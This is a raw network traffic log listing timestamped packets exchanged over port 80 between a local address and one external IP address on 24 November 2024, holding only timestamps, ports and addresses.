Nov 24, 2024 23:24:49.829468012 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.829544067 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.832603931 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.832679033 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.832887888 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.832942963 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.836004972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.836060047 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.836404085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.836458921 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.839359045 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.839418888 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.839502096 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.839560032 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.842616081 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.842704058 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.842741013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.842788935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.845964909 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.846029997 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.846097946 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.846184969 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.849334002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.849400043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.849446058 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.849493980 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.852667093 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.852744102 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.852797985 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.852843046 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.855998993 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.856062889 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.856115103 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.856170893 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.859366894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.859471083 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.859477043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.859564066 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.862694979 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.862762928 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.862806082 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.862853050 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.866024971 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.866085052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.866132975 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.866307020 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.869357109 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.869466066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.869533062 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.872708082 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.872771025 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.872823000 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.872883081 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.876121998 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.876210928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.876271009 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.879384995 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.879447937 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.879493952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.879542112 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.882692099 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.882747889 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.882925987 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.882973909 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.886084080 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.886142015 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.886179924 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.886279106 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.889491081 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.889534950 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.889544964 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.889595985 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.892793894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.892904997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.892961025 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.896112919 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.896164894 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.896224022 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.896317005 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.899461985 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.899575949 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.899627924 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.902793884 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.902852058 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.903254032 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.903310061 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.906127930 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.906182051 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.906443119 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.906596899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.909456968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.909512043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.909605026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.909657955 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.912800074 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.912853956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.912897110 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.912950039 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.916003942 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.916069031 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.916124105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.916167974 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.919132948 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.919198036 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.919467926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.919526100 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.922190905 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.922244072 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.922352076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.922454119 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.925137043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.925175905 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.925204039 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.925239086 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.928009987 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.928059101 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.928338051 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.928414106 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.930778980 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.930841923 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.930911064 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.930962086 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.933604002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.933660984 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.934029102 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.934098959 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.936310053 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.936369896 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.936419010 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.936572075 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.938976049 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.939090967 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.939131975 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.939131975 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.941629887 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.941713095 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.941718102 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.941852093 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.944190025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.944255114 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.944288969 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.944331884 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.946708918 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.946774960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.946799994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.946854115 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.949230909 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.949301004 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.949333906 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.949379921 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.951728106 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.951854944 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.951936007 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.954164982 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.954287052 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.954346895 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.956537962 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.956635952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.956655979 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.956690073 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.958949089 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.958996058 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.959047079 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.959340096 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.961313963 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.961435080 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.961505890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.963639975 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.963754892 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.963758945 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.963805914 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.965961933 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.966069937 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.966217995 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.968255997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.968312025 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.968355894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.968645096 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.970524073 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.970638990 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.970793962 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.972767115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.972850084 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.972898960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.974982977 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.975044012 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.975049019 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.975083113 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.976268053 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.976330042 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.976376057 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.976418972 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.977379084 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.977438927 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.977483988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.977525949 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.978598118 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.978648901 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.978699923 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.978745937 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.979784012 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.979923964 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.979991913 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.980984926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.981061935 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.981282949 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.982127905 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.982201099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.982243061 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.982292891 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.983325005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.983426094 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.983428955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.983474016 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.984498978 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.984577894 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.984580994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.984644890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.985685110 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.985757113 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.985799074 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.985848904 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.986859083 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.986926079 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.987010956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.988048077 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.988125086 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.988171101 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.988269091 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.989293098 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.989363909 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.989406109 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.989454031 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.990390062 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.990467072 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.990634918 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.990855932 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.991516113 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.991631985 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.991695881 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.992698908 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.992748022 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.992769957 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.992799997 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.993891954 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.993982077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.994041920 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.994096041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.995039940 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.995114088 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.995335102 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.995686054 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.996217966 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.996275902 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.996329069 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.996376991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.997378111 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.997447968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.997504950 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.998552084 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.998622894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.998661041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.998694897 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.999715090 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.999792099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.999842882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.000041962 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.000884056 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.000943899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.001296997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.001353025 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.002041101 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.002111912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.002120018 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.002454996 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.003216028 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.003279924 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.003330946 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.003370047 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.004379034 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.004440069 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.004487038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.004534960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.005563021 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.005634069 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.005656958 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.005779982 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.006772041 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.006833076 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.006962061 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.007924080 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.008019924 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.008057117 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.008090973 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.009090900 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.009176970 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.009223938 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.009540081 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.010241985 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.010359049 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.010443926 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.011409998 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.011475086 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.011523962 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.011569977 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.012590885 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.012661934 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.012681007 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.012928009 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.013756990 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.013834953 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.014379978 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.014458895 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.014926910 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.015089989 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.015096903 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.015227079 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.016117096 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.016185045 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.016228914 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.016333103 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.017277956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.017360926 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.017385960 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.017436028 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.018429041 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.018488884 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.018493891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.018573046 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.019593000 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.019642115 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.019709110 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.019761086 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.020804882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.020883083 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.020931959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.021131039 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.021922112 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.022001982 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.022058010 CET	80	49885	185.215.113.16	192.168.2.5
